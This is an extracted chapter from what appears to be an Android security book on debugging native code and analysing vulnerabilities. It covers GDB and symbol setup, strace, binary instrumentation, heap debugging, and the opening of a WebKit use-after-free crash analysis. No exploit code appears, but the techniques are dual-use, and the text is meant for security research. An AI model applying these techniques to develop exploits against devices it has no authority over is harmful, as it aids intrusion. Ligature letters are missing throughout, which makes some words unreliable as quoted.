236 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 236 The binaries on an Android device contain differing levels of symbolic informa- tion. This varies from device to device as well as among the individual binaries on a single device. Production devices such as those sold by mobile carriers often do not include any symbols in their binaries. Some devices including Nexus devices have many binaries that contain partial symbols. This is typical of a device using a userdebug or eng build of Android. Partial symbols provide some humanly identif able information such as function names but do not provide f le or line number information. Finally binaries with full symbols contain extensive information to assist a human who is debugging the code. Full symbols include f le and line number information which can be used to enable source-level debugging. In short diff culties encountered while debugging native code on Android are inversely proportionate to the level of symbols present. Obtaining Symbols Several vendors in the software industry such as Microsoft and Mozilla provide symbols to the public via symbol servers. However no vendors in the Android world provide symbols for their builds. In fact obtaining symbols for Android builds typically requires building them from source which in turn requires a fairly beefy build machine. With the exception of a rare engineering build leak or the partial symbols present on Nexus devices custom builds are the only way to obtain symbols. Thankfully it is possible to build an entire device image for AOSP-supported devices. As part of the build process f les containing symbolic information are created in parallel to the release f les. Because some binaries containing symbols are very large f ashing them to a device would quickly exhaust the available space of the system. For example the WebKit library libwebcore.so with symbols is in excess of 450 megabytes. When remote debugging you can utilize these large f les with symbols in conjunction with the binaries without symbols that are running on the device. In addition to building a full device image it is also possible to build individual components. Taking this route speeds build time and makes the debugging pro- cess more eff cient. Using either the make command or the mm built-in from the build system you can build only the components that you need. Dependencies are built automatically as well. From the top-level AOSP directory execute make or mm with the f rst argument specifying the desired component. To f nd a list of component names use the following command: dev:/android/source find . -name Android.mk -print -exec grep \ LOCAL_MODULE \ ... ./external/webkit/Android.mk LOCAL_MODULE : libwebcore ...

slide 269:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 237 c07.indd 11:8:41:AM 02/25/2014 Page 237 This outputs the path for each Android.mk f le along with any modules def ned by it. As you can see from the excerpt the libwebcore module is def ned in the external/webkit/Android.mk f le. Therefore running mm libwebcore builds the desired component. The build system writes the f le containing symbols to system/lib/libwebcore.so inside the out/target/product/maguro/symbols directory. The maguro portion of the path is specif c to the target device. Building for a different device would use the name of that product instead such as mako for a Nexus 4. Making Use of Symbols After you’ve obtained symbols either using the process just described or via other means putting them to use is the next step. Whether you use gdbclient the ndk-gdb script or GDB directly it is possible to get your newly acquired symbols loaded for a much-improved debugging experience. Although the process varies slightly for each method the underlying GDB client is what ultimately loads and displays the symbols in all cases. Here we explain how to get each of these methods to use the symbols you built and discuss ways to improve symbol loading further. The gdbclient built-in provided by AOSP automatically uses symbols if they’ve been built. It obtains the path to the built symbols using the Android build system and instructs the GDB client to look there. Unfortunately gdb- client uses symbols for all modules present which is nearly all modules in a default build. Due to the sheer size of modules with symbols this can be quite slow. It is rarely necessary to load the symbols for all modules. When debugging with the NDK alone the ndk-gdb script also supports loading symbols automatically. Unlike the gdbclient built-in the ndk-gdb script pulls the app_process linker and libc.so f les directly from the target device itself. Recall that these binaries typically have only partial symbols. One would think that replacing these f les with custom-built binaries with full symbols would improve the situation. Unfortunately ndk-gdb overwrites the existing f les if they already exist. To avoid this behavior simply comment out the lines start- ing with run adb_cmd pull. After doing so ndk-gdb uses the binaries with full symbols. Because only a few f les with symbols are present using ndk-gdb is generally quite fast compared to using gdbclient. Still we prefer to have more control over exactly which symbols are loaded. As discussed in depth in the “Debugging with AOSP” and “Increasing Automation” sections earlier in this chapter invoking the AOSP GDB client directly is our preferred method for debugging native code. Using this method provides the most control over what happens both on the target device and within the GDB client itself. It also allows managing project-specif c conf gu- ration details that are useful when engaging in several different debugging projects simultaneously. The rest of this section outlines how to set up such an environment and create an optimized Android browser debugging experience.

slide 270:

238 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 238 The f rst step to creating an optimized project-specif c debugging environ- ment is creating a directory to hold your project specif c data. For the purposes of this demonstration create the gn-browser-dbg directory inside the AOSP root directory: dev:/android/source mkdir -p gn-browser-dbg cd _ dev:gn-browser-dbg Next create symbolic links to the modules for which you want to load symbols. Rather than use the entire symbols directory as the gdbclient built-in does use the current directory combined with these symbolic links. Loading all of the symbols is wasteful time consuming and often unnecessary. Although storing the symbol f les on a blazing fast SSD or RAM drive helps it’s only a marginal improvement. To speed the process you want to load symbols for a limited set of modules: dev:gn-browser-dbg ln -s ../out/target/product/maguro/symbols dev:gn-browser-dbg ln -s symbols/system/bin/linker dev:gn-browser-dbg ln -s symbols/system/bin/app_process dev:gn-browser-dbg ln -s symbols/system/lib/libc.so dev:gn-browser-dbg ln -s symbols/system/lib/libwebcore.so dev:gn-browser-dbg ln -s symbols/system/lib/libstdc++.so dev:gn-browser-dbg ln -s symbols/system/lib/libdvm.so dev:gn-browser-dbg ln -s symbols/system/lib/libutils.so dev:gn-browser-dbg ln -s symbols/system/lib/libandroid_runtime.so Here you f rst create a symbolic link to the symbols directory itself. Then you create symbolic links from within it for the core system f les as well as libwebcore.so WebKit libstdc++.so and libdvm.so the Dalvik VM. With your directory and symbolic links created the next step is to create the GDB script. This script serves as the basis for your debugging project and enables you to include more advanced scripts directly inside. You only need two commands to get started: dev:gn-browser-dbg cat script.gdb tell gdb where to find symbols set solib-search-path . target remote 127.0.0.1:31337 D dev:gn-browser-dbg The f rst command as the comment indicates tells the GDB client to look in the current directory for f les with symbols. The GDB server indicates which modules are loaded and the GDB client loads modules accordingly. The second command should be familiar. It instructs the GDB client where to f nd the wait- ing GDB server. Finally you are ready to run everything to see how well it works. The next excerpt shows this minimal debug conf guration in action.

slide 271:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 239 c07.indd 11:8:41:AM 02/25/2014 Page 239 dev:gn-browser-dbg arm-eabi-gdb -q -x script.gdb app_process Reading symbols from /android/source/gn-browser-dbg/app_process...done. warning: Could not load shared library symbols for 86 libraries e.g. libm. so. Use the "info sharedlibrary" command to see the complete listing. Do you need "set solib-search-path" or "set sysroot" warning: Breakpoint address adjusted from 0x40079b79 to 0x40079b78. epoll_wait at bionic/libc/arch-arm/syscalls/epoll_wait.S:10 10 mov r7 ip gdb back 0 epoll_wait at bionic/libc/arch-arm/syscalls/epoll_wait.S:10 1 0x400d1fcc in android::Looper::pollInner this0x415874c8 timeoutMillisoptimized out at frameworks/native/libs/utils/Looper.cpp:218 2 0x400d21f0 in android::Looper::pollOnce this0x415874c8 timeoutMillis-1 outFd0x0 outEvents0x0 outData0x0 at frameworks/native/libs/utils/Looper.cpp:189 3 0x40209c68 in pollOnce timeoutMillisoptimized out thisoptimized out at frameworks/native/include/utils/Looper.h:176 4 android::NativeMessageQueue::pollOnce this0x417fdb10 env0x416d1d90 timeoutMillisoptimized out at frameworks/base/core/jni/android_os_MessageQueue.cpp:97 5 0x4099bc50 in dvmPlatformInvoke at dalvik/vm/arch/arm/CallEABI.S:258 6 0x409cbed2 in dvmCallJNIMethod args0x579f9e18 pResult0x417841d0 method0x57b57860 self0x417841c0 at dalvik/vm/Jni.cpp:1185 7 0x409a5064 in dalvik_mterp at dalvik/vm/mterp/out/InterpAsm-armv7-a-neon.S:16240 8 0x409a95f0 in dvmInterpret self0x417841c0 method0x57b679b8 pResult0xbec947d0 at dalvik/vm/interp/Interp.cpp:1956 9 0x409de1e2 in dvmInvokeMethod objoptimized out method0x57b679b8 argListoptimized out paramsoptimized out returnType0x418292a8 noAccessCheckfalse at dalvik/vm/interp/Stack.cpp:737 10 0x409e5de2 in Dalvik_java_lang_reflect_Method_invokeNative argsoptimized out pResult0x417841d0 at dalvik/vm/native/java_lang_reflect_Method.cpp:101 11 0x409a5064 in dalvik_mterp at dalvik/vm/mterp/out/InterpAsm-armv7-a-neon.S:16240 12 0x409a95f0 in dvmInterpret self0x417841c0 method0x57b5cc30 pResult0xbec94960 at dalvik/vm/interp/Interp.cpp:1956 13 0x409ddf24 in dvmCallMethodV self0x417841c0 method0x57b5cc30 objoptimized out fromJnioptimized out pResult0xbec94960 args... at dalvik/vm/interp/Stack.cpp:526 14 0x409c7b6a in CallStaticVoidMethodV envoptimized out jclazzoptimized out methodID0x57b5cc30 argsoptimized out at dalvik/vm/Jni.cpp:2122 15 0x401ed698 in _JNIEnv::CallStaticVoidMethod thisoptimized out clazzoptimized out methodID0x57b5cc30 at libnativehelper/include/nativehelper/jni.h:780 16 0x401ee32a in android::AndroidRuntime::start thisoptimized out className0x4000d3a4 "com.android.internal.os.ZygoteInit" optionsoptimized out at frameworks/base/core/jni/AndroidRuntime.

slide 272:

240 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 240 cpp:884 17 0x4000d05e in main argc4 argv0xbec94b38 at frameworks/base/cmds/app_process/app_main.cpp:231 gdb It takes quite a while to load the symbols from libwebcore.so because it is so large. Using an SSD or a RAM disk helps tremendously. As seen from the preceding excerpt full symbols are being used. Function names source f les line numbers and even function arguments are displayed. Debugging at Source Level The holy grail of interactive debugging is being able to work at the source level. Thankfully this is possible by using an AOSP checkout and an AOSP-supported Nexus device. If you follow the steps outlined in the previous sections from start to f nish the custom-built binaries that contain symbols will already enable source-level debugging. Seeing this in action is as simple as executing a few commands inside the GDB client as shown in the following excerpt: after attaching as before epoll_wait at bionic/libc/arch-arm/syscalls/epoll_wait.S:10 10 mov r7 ip gdb list 5 6 ENTRYepoll_wait 7 mov ip r7 8 ldr r7 __NR_epoll_wait 9 swi 0 10 mov r7 ip 11 cmn r0 MAX_ERRNO + 1 12 bxls lr 13 neg r0 r0 14 b __set_errno gdb up 1 0x400d1fcc in android::Looper::pollInner this0x41591308 timeoutMillisoptimized out at frameworks/native/libs/utils/Looper.cpp:218 218 int eventCount epoll_waitmEpollFd eventItems EPOLL_MAX_ EVENTS timeoutMillis gdb list 213 int result ALOOPER_POLL_WAKE 214 mResponses.clear 215 mResponseIndex 0 216 217 struct epoll_event eventItemsEPOLL_MAX_EVENTS 218 int eventCount epoll_waitmEpollFd eventItems EPOLL_MAX_ EVENTS timeoutMillis 219 220 // Acquire lock. 221 mLock.lock 222

slide 273:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 241 c07.indd 11:8:41:AM 02/25/2014 Page 241 gdb Here you are able to see both assembly and C++ source code for two frames in the call stack after you attach. GDB’s list command shows the 10 lines surrounding the code location corresponding to that frame. The up command moves upward through the call stack to calling frames and the down command moves downward. If the symbols were built on a different machine or the source code had been moved since building the symbols the source code may not display. Instead an error message such as that in the following excerpt is shown: gdb up 1 0x400d1fcc in android::Looper::pollInner this0x415874c8 timeoutMillisoptimized out at frameworks/native/libs/utils/Looper.cpp:218 218 frameworks/native/libs/utils/Looper.cpp: No such file or directory. in frameworks/native/libs/utils/Looper.cpp gdb To remedy this situation create symbolic links to the location on the f le system where the source resides. The following excerpt shows the necessary commands: dev:gn-browser-dbg ln -s /android/source/bionic dev:gn-browser-dbg ln -s /android/source/dalvik dev:gn-browser-dbg ln -s /android/source/external With this done source-level debugging should be restored. At this point you are able to view source code inside GDB create breakpoints based on source locations display structures in prettif ed form and more. gdb break WebCore::RenderObject::layoutIfNeeded Breakpoint 1 at 0x5d3a3e44: file external/webkit/Source/WebCore/rendering/RenderObject.h line 524. gdb cont Continuing. Whenever the browser renders a page this breakpoint is hit. From that con- text you can inspect the state of the RenderObject and begin to deduce what is happening. These objects are discussed more in Chapter 8. Debugging with a Non-AOSP Device On occasion it is necessary to debug code running on a device that is not sup- ported by AOSP . Perhaps the buggy code is not present on any AOSP-supported devices or differs from that found in AOSP. The latter is often the case when dealing with devices sold directly by original equipment manufacturers OEMs or carriers. The modif cations made within the OEM’s development ranks may introduce issues not present in AOSP . Unfortunately debugging on these devices is far more troublesome.

slide 274:

242 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 242 There are several challenges that present themselves when one tries to debug on these devices. Most of these challenges are hinged on two main issues. First it can be diff cult to know exactly which toolchain was used to build the device. OEMs may opt to use commercial toolchains ancient versions of public toolchains or even custom modif ed toolchains. Even after successfully deter- mining which toolchain was used it may not be possible to obtain it. Using the correct toolchain is important because some toolchains are not compatible with each other. Differences in GDB protocol support for example could cause the GDB client to encounter errors or even crash. Second non-AOSP devices rarely contain any type of symbols and building them yourself without access to the full build environment is impossible. In addition to function name source f le and line number information being unavailable the important ARM-specif c symbols that indicate processor mode will be missing. This makes it diff cult to determine which processor mode a particular code location is in which in turn leads to problems setting breakpoints and examining call stacks. The overall workf ow for debugging a non-Nexus device is quite similar to that of a Nexus device. Following the steps in the “Debugging with AOSP” section earlier in this chapter should produce the desired result. Accomplishing the f rst step of f nding a GDB server and GDB client that will work can be diff cult in itself. It may require experimenting with several different versions of these programs. If you are able to determine the toolchain used to build the device’s binaries using the GDB server and client from that toolchain is likely to produce the best results. After this step is accomplished you can forge ahead bravely. Without symbols GDB has no way of knowing which areas of binaries are Thumb code and which are ARM code. Therefore it cannot automatically deter- mine how to disassemble or set breakpoints. You can work around this problem by using static analysis tools to reverse-engineer the code. Also GDB provides access to the Current Program Status Register CPSR register. Checking the f fth bit in this register indicates whether the processor is in ARM mode or Thumb mode. Once you determine that the debugger is in a Thumb mode function use the set arm fallback-mode or set arm force-mode commands with a value of thumb. This tells GDB how to treat the function. When setting breakpoints in a Thumb function always add one to the address. This tells GDB that the address refers to a Thumb instruction which will change how it inserts breakpoints. It’s also possible to use the CPSR register directly to set breakpoints as shown here: gdb break 0x400c0e88 + cpsr51 Take care when using this method because there is no guarantee that the target function executes in the same mode as the context your debugger is currently in. In any case you have a 50 percent chance of being correct. If the breakpoint

slide 275:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 243 c07.indd 11:8:41:AM 02/25/2014 Page 243 is not hit or the target process encounters an error after setting your breakpoint chances are the breakpoint was created in the wrong mode. Even armed no pun intended with these techniques debugging non-AOSP devices is still unpredictable. Your mileage may vary. Debugging Mixed Code The Android operating system is an amalgamation of native and Dalvik code. Within the Android framework many code paths traverse from Dalvik code into native code. Some code even calls back into the Dalvik VM from native code. Seeing and being able to step through the entire code path can be especially useful when debugging mixed code. In particular viewing the call stack in its entirety is very helpful. Thankfully debugging both Dalvik and native code inside Eclipse works fairly well. There are some occasional hiccups but it is possible to place breakpoints in both types of code. When either kind of breakpoint is reached Eclipse cor- rectly pauses execution and provides an interactive debugging experience. To achieve mixed code debugging combine all of the techniques presented in the “Debugging Dalvik Code” and “Debugging Native Code” sections earlier in the chapter. Be sure to use the Android Native Application debugging prof le when launching your debug session from within Eclipse. Alternative Debugging Techniques Although interactive methods are best method for tracing data f ow or conf rm- ing hypotheses several other methods can replace or augment the debugging process. Inserting debugging statements into source code is one popular way to spot-check code coverage or trace variable contents. Debugging on the device itself whether using a custom debugger or GDB binary built for ARM also has its place. Finally sensitive timing issues may bring the need to employ advanced techniques like instrumentation. This section discusses the advantages and disadvantages of these methods. Debug Statements One of the oldest methods for debugging a program includes inserting debug statements directly into the source code. This works for both Dalvik and native C/C++ code. Unfortunately this technique is not applicable when source code is not available. Even when source code is handy this method requires rebuilding and redeploying the resulting binary onto the device. In some cases a reboot

slide 276:

244 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 244 may be required to reload the target code. Also extra porting effort may be necessary when migrating debug statements to new versions of the source code. Although these disadvantages amount to a high up-front cost the debug state- ments themselves have very little runtime cost. Additionally inserting debug statements is a great way to concretely tie the source code to what is happening at runtime. All in all this tried-and-true method is a viable option for tracking down bugs and making sense of a program. On-Device Debugging Although remote debugging is the de facto standard for debugging embed- ded devices like Android phones on-device methods can avoid some of the pitfalls involved. For one remote debugging can be signif cantly slower than debugging on the device itself. This is due to the fact that every debug event requires a round trip from the device to the host machine debugger and back again. Remote debugging can be especially slow for conditional breakpoints which use an extra round trip to determine if the condition is satisf ed. Also debugging on the device itself alleviates the need for a host computer in some cases. There are a variety of ways that one can do debugging on-device. This section presents a few such methods. strace The strace utility can be a godsend when you’re trying to debug odd behaviors. This tool provides tracing capabilities at the system-call level which explains its name. Debugging at this level lets you easily see from where unexplained “no such f le or directory” errors are stemming. It’s also useful to see exactly what system calls are executed leading up to a crash. The strace tool supports start- ing new processes as well as attaching to existing ones. Attaching to existing processes can be especially useful for seeing where a process may be hung or conf rming that network or Interprocess Communication IPC communications are indeed occurring. The strace tool is included in AOSP and is compiled as part of a userdebug build. However the tool is not part of the default installation image in this conf guration. To push the binary to your device execute something similar to the following: dev:/android/source adb push \ out/target/product/maguro/obj/EXECUTABLES/strace_intermediates/LINKED/ strace \ /data/local/tmp/ 656 KB/s 625148 bytes in 0.929s This example is from our build environment for the Galaxy Nexus. This binary should be usable on just about any ARMv7 capable device.

slide 277:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 245 c07.indd 11:8:41:AM 02/25/2014 Page 245 Custom GDB Builds Being able to run GDB natively on an Android device would be ideal. Unfortunately GDB doesn’t directly support Android and porting GDB to work on Android natively is not straightforward. Several individuals have tried to create a native Android GDB binary. Some have even declared success. For one Alfredo Ortega hosts binaries for versions 6.7 and 6.8 of GDB on his site at https://sites .google.com/site/ortegaalfredo/android. Another method involves follow- ing the instructions for using Debootstrap from the Debian Project at https:// wiki.debian.org/ChrootOnAndroid. Unfortunately both of these GDB binaries lack support for Android’s thread implementation and only debug the main thread of processes. NOTE When using the Debootstrap version of GDB follow the instructions for run- ning binaries inside the chroot from outside using ld.so. Also add /system/lib to the beginning of LD_LIBRARY_PATH to fi x symbol resolution. Writing a Custom Debugger All the tools for debugging native code described in this chapter are built upon the ptrace API. The ptrace API is a standard Unix API for debugging processes. As this API is implemented as a system call in the Linux kernel it is present on nearly all Linux systems. Only in rare circumstances such as some Google TV devices is ptrace disabled. Using this API directly enables researchers to develop powerful custom debuggers that do not depend on GDB being pres- ent. For example several of the tools created by authors of this book depend on ptrace. These tools run directly on devices and often execute much quicker than GDB even on-device GDB. Dynamic Binary Instrumentation Even when debuggers are working at their best they can introduce issues. Using a large number of tracing breakpoints can make the debugging experience painfully slow. Putting breakpoints on time-critical areas of code can inf uence program behavior and complicate exploit development. This is where another excellent technique comes into play. Dynamic Binary Instrumentation DBI is a method by which additional code is inserted into a program’s normal f ow. This technique is also commonly called hooking. The general process starts by crafting some custom code and injecting it into the target process. Like breakpoints DBI involves overwriting interest- ing code locations. However instead of inserting a breakpoint instruction DBI inserts instructions to redirect the execution f ow into the injected custom code.

slide 278:

246 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 246 Using this method greatly increases performance by eliminating unnecessary context switches. Further the injected custom code has direct access to the process’s memory eliminating the need to suffer additional context switches to obtain memory contents as with ptrace. NOTE DBI is a powerful technique that has uses beyond debugging. It can also be used to hot-patch vulnerabilities extend functionality expose new interfaces into existing code for testing purposes and more. Several tools written by authors of this book utilize DBI in conjunction with the ptrace API. Collin Mulliner’s Android Dynamic Binary Instrumentation Toolkit adbi and Georg Wicherski’s AndroProbe both use ptrace to inject cus- tom code albeit for different purposes. Collin’s toolkit can be found at https:// github.com/crmulliner/adbi. Vulnerability Analysis In information security the term vulnerability analysis is generally def ned as an organized effort to discover classify and understand potentially dangerous issues in systems. By this def nition vulnerability analysis encompasses almost the entire information security industry. Breaking this topic down further there are many different techniques and processes that researchers and analysts apply to reach their ultimate goal of understanding weaknesses. Whether individual goals are defensive or offensive in nature the steps to get there are very similar. The rest of this chapter focuses on one small area of vulnerability analysis analyzing crashes that result from memory corruption vulnerabilities. Further this section uses the debugging techniques presented in this chapter to bridge the gap between Chapter 6 and Chapter 8. As a result of this type of analysis researchers gain a deep understanding of the underlying vulnerability includ- ing its cause and potential impact. The task of analyzing memory corruption vulnerabilities whether for reme- diation or exploitation can be challenging. When executing this task there are two primary goals determining the root cause and judging exploitability. Determining Root Cause Faced with a potentially exploitable memory corruption vulnerability the f rst goal is to determine the root cause of the bug. Like other information security concepts there are several levels of specif city when discussing root cause. For the purposes of crash analysis we consider the root cause to be the f rst occur- rence of ill behavior that results in a vulnerable condition.

slide 279:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 247 c07.indd 11:8:41:AM 02/25/2014 Page 247 NOTE There are many diff erent types of memory corruption that can result from undefi ned behavior. MITRE’s Common Weakness Enumeration CWE project cata- logs this type of information and much more at http://cwe.mitre.org/data/ index.html. These ill behaviors are often due to a concept born in programming language specif cations undef ned behavior. This term refers to any behaviors that are not def ned by the specif cation due to differences in low-level architectures memory models or corner cases. The C and C++ programming language specif cations def ne a multitude of behaviors as undef ned. In theory undef ned behavior could result in just about anything happening. Examples include correct behav- ior intentionally crashing and subtle memory corruption. These behaviors represent a very interesting area for researchers to study. Correctly determining the root cause of a vulnerability is perhaps the most important task in vulnerability analysis. For defenders failing to correctly iden- tify and understand root cause may lead to an insuff cient f x for the issue. For attackers understanding the root cause is only the f rst step in a lengthy process. If either party wants to prioritize a particular issue according to exploitability a proper root cause analysis is essential. Thankfully there are many tricks of the trade and helpful tools that can assist in accomplishing this goal. Tips and Tricks There are many tips and tricks to learn to be great at getting to the root causes of vulnerabilities. We present only a few such techniques here. The exact tech- niques that apply depend highly on how the ill behavior was discovered. Fuzzing lends itself to reducing and comparing inputs. Operating systems including Android contain facilities to assist debugging. Debuggers are a crucial piece use their features to your full advantage. In the end the root cause lies in the code itself. These techniques help make the process of isolating that code loca- tion quicker and easier. Comparing and Minimizing Inputs Recall that fuzzing boils down to automatically generating and testing inputs. The bulk of the challenge begins after an input that causes ill behavior is found. Analyzing the input itself provides immense insight into what is going wrong. With mutation fuzzing in particular comparing the mutated input to the original input reveals the exact changes made. For example consider an input from a f le format fuzzing session where only one byte is changed. A simple differential analysis of the two f les might show which byte was changed and what the value was before and after. However processing both inputs with a verbose parser shows semantics of changes. That is it would show that the byte

slide 280:

248 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 248 changed is actually a length value in a tag-length-value TL V type of f le struc- ture. Further it would reveal which tag it was associated with. This semantic information gives a researcher an indicator where to look in the code. Minimizing the test input is helpful whether fuzz inputs were mutated or generated. Two techniques for minimization are reverting changes and elimi- nating unnecessary parts of the input. Reverting changes helps isolate exactly which change is causing the ill behavior. Eliminating the parts of the input that doesn’t change a test’s results means one less thing to look at. Consider the previous example from comparing inputs. If there are thousands of data blocks that contain the same tag value analysis may be hampered due to hit- ting the breakpoint thousands of times. Eliminating unnecessary data blocks reduces the breakpoint hit count to only one. Like comparing inputs minimiz- ing benef ts greatly from semantic information. Breaking down a f le format into its hierarchal components and removing them at different levels speeds the minimization process. These two techniques although powerful are less applicable outside of fuzz- ing. Other techniques apply to a wider range of analysis scenarios and thus are more generic. Android Heap Debugging Android’s Bionic C runtime library contains built-in heap debugging tools. This feature is brief y discussed at http://source.android.com/devices/ native-memory.html. It is controlled by the libc.debug.malloc system property. As mentioned on the aforementioned website enabling this facility for processes spawned from Zygote like the browser requires restarting the entire Dalvik runtime. How to do that is covered in the “Faking a Debug Device” section earlier in this chapter. Through this variable Android supports four strategies for debugging things that might go wrong with heap memory. The malloc_debug_common.cpp f le inside the bionic/libc/bionic directory of AOSP contains more details: 455 // Initialize malloc dispatch table with appropriate routines. 456 switch debug_level 457 case 1: 458 InitMallocgMallocUse debug_level "leak" 459 break 460 case 5: 461 InitMallocgMallocUse debug_level "fill" 462 break 463 case 10: 464 InitMallocgMallocUse debug_level "chk" 465 break 466 case 20: 467 InitMallocgMallocUse debug_level "qemu_instrumented" 468 break

slide 281:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 249 c07.indd 11:8:41:AM 02/25/2014 Page 249 Earlier in this f le a comment explains the purpose of each of the different strategies. The notable exception is that the fourth option qemu_instrumented is not mentioned. This is because that option is actually implemented in the emulator itself. 262 1 - For memory leak detections. 263 5 - For filling allocated / freed memory with patterns defined by 264 CHK_SENTINEL_VALUE and CHK_FILL_FREE macros. 265 10 - For adding pre- and post- allocation stubs in order to detect 266 buffer overruns. In addition to requiring root access to set the relevant properties it is nec- essary to put the libc_malloc_debug_leak.so library into the /system/lib directory. Doing so requires remounting the /system partition in read/write mode temporarily. This library is in the out/target/product/maguro/obj/lib directory inside the AOSP build output. The following excerpt shows the setup process in action: dev:/android/source adb push \ out/target/product/maguro/obj/lib/libc_malloc_debug_leak.so /data/local/tmp 587 KB/s 265320 bytes in 0.440s dev:/android/source adb shell shellmaguro:/ su rootmaguro:/ mount -o remountrw /system rootmaguro:/ cat /data/local/tmp/libc_malloc_debug_leak.so \ /system/lib/libc_malloc_debug_leak.so rootmaguro:/ mount -o remountro /system rootmaguro:/ setprop libc.debug.malloc 5 rootmaguro:/ cd /data/local/tmp rootmaguro:/data/local/tmp ps | grep system_server system 379 125 623500 99200 ffffffff 40199304 S system_server rootmaguro:/data/local/tmp kill -9 379 rootmaguro:/data/local/tmp logcat -d | grep -i debug I/libc 2994: /system/bin/bootanimation: using libc.debug.malloc 5 fill I/libc 2999: /system/bin/netd: using libc.debug.malloc 5 fill I/libc 3001: /system/bin/iptables: using libc.debug.malloc 5 fill I/libc 3002: /system/bin/ip6tables: using libc.debug.malloc 5 fill I/libc 3003: /system/bin/iptables: using libc.debug.malloc 5 fill I/libc 3004: /system/bin/ip6tables: using libc.debug.malloc 5 fill I/libc 3000: /system/bin/app_process: using libc.debug.malloc 5 fill ... Unfortunately testing these debugging facilities on Android 4.3 in the presence of conf rmed bugs shows that they don’t work very well if at all. Hopefully this situation improves with future versions of Android. Regardless this debugging facility lays the building blocks for future work in creating more robust heap debugging functionality.

slide 282:

250 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 250 Watchpoints A watchpoint is a special kind of breakpoint that triggers when certain opera- tions are performed on a memory location. On x86 and x64 watchpoints are implemented using hardware breakpoints and allow a researcher to be notif ed on read write or both. Unfortunately most ARM processors do not implement hardware breakpoints. It is possible to accomplish the same thing on ARM using software watchpoints. However software watchpoints are very very slow and expensive in comparison due to their reliance on single-stepping. Still they are useful for tracking down when a particular variable changes value. Say a researcher knows some object’s member variable is changed after it is allocated. She doesn’t know where it is changed in the code—only that is changed. First she puts a breakpoint after the object is allocated. When that breakpoint is hit she creates a watchpoint using GDB’s watch command. After continuing execution she notices execution slows down considerably. When the program changes the value GDB suspends execution on the instruction following the change. This technique successfully revealed the code location that the researcher sought. Interdependent Breakpoints Breakpoints that create other breakpoints or interdependent breakpoints are very powerful tools. The most important aspect of using this technique is that it eliminates noise. Consider a crash from heap corruption that happens on a call to a function called main_event_loop. As its name suggests this function is executed often. Determining the root cause requires f guring out exactly what block was being operated on when the corruption occurred. However setting a breakpoint on main_event_loop prematurely stops execution over and over. If the researcher knows that the corruption happens from processing particular input and knows where the code that starts processing that input is he can place a breakpoint there f rst. When that breakpoint is hit he can set a breakpoint on main_event_loop. If he’s lucky the f rst time the new breakpoint is hit will be the invocation when the crash occurs. Regardless all previous invocations that def nitely couldn’t have caused the corruption are successfully ignored and with no performance penalty. In this example scenario using interdependent breakpoints helps narrow the window to the exact point of corruption. Another similar scenario is presented in the next section “ Analyzing a WebKit Crash.” Analyzing a WebKit Crash Determining the root cause of a vulnerability is an iterative process. Tracking down an issue often requires executing the crashing test case numerous times. Though a debugger is instrumental in this process the root cause is rarely

slide 283:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 251 c07.indd 11:8:41:AM 02/25/2014 Page 251 revealed immediately. Working backward through data f ow and control f ow including inter-procedural f ow is what ultimately brings us to the heart of the issue. For demonstrative purposes we study an HTML f le that crashes the Android Browser that ships with a Galaxy Nexus running Android 4.3. Interestingly neither the stable nor beta versions of Chrome for Android are affected. Using several techniques in conjunction with the debugging methods outlined earlier in this chapter we work to discover the root cause of the bug that causes this crash. It sometimes helps to crash the browser repeatedly and look at the tombstones that result. The values in registers are telling. The following includes output from several crashes that occurred from loading this page: rootmaguro:/data/tombstones /data/local/tmp/busybox head -9 | grep pc ip 00000001 sp 5e8003c8 lr 5d46fee5 pc 5a50ec48 cpsr 200e0010 ip 00000001 sp 5ddba3c8 lr 5c865ee5 pc 5e5fc2b8 cpsr 20000010 ip 00000001 sp 5dedc3c8 lr 5ca4bee5 pc 00000000 cpsr 200f0010 ip 00000001 sp 5dedc3c8 lr 5ca4bee5 pc 60538ad0 cpsr 200e0010 ip 00000001 sp 5e9003b0 lr 5d46fee5 pc 5a90bf80 cpsr 200e0010 ip 00000001 sp 5e900688 lr 5d46fee5 pc 5a518d20 cpsr 200f0010 ip 00000001 sp 5eb00688 lr 5d46fee5 pc 5a7100a0 cpsr 200f0010 ip 00000001 sp 5ea003c8 lr 5d46fee5 pc 5edfa268 cpsr 200f0010 In this particular case you can see that the crash location varies signif cantly from one execution to the next. In fact the PC register akin to EIP on x86 ends up with many different strange values. This is highly indicative of a use-after- free vulnerability. To know for sure though and to determine why such an issue would be occurring you have to dig deeper. To gain more insight into what’s happening you employ the native code debugging environment that you set up earlier in this chapter. As before run the debugging.sh shell script in the background on the host machine. This runs the attach.sh shell script on the device which asks the browser to navigate to the about:blank page waits a bit and attaches the GDB server. Then on the host machine we launch the GDB client with our GDB script that connects to the waiting GDB server: dev:gn-browser-dbg arm-eabi-gdb -q -x script.gdb app_process dev:/android/source ./debugging.sh 1 28994 dev:gn-browser-dbg arm-eabi-gdb -q -x script.gdb app_process Reading symbols from /android/source/gn-browser-dbg/app_process...done. warning: Could not load shared library symbols for 86 libraries e.g. libm. so. Use the "info sharedlibrary" command to see the complete listing. Do you need "set solib-search-path" or "set sysroot" warning: Breakpoint address adjusted from 0x40079b79 to 0x40079b78. epoll_wait at bionic/libc/arch-arm/syscalls/epoll_wait.S:10 10 mov r7 ip gdb cont Continuing.

slide 284:

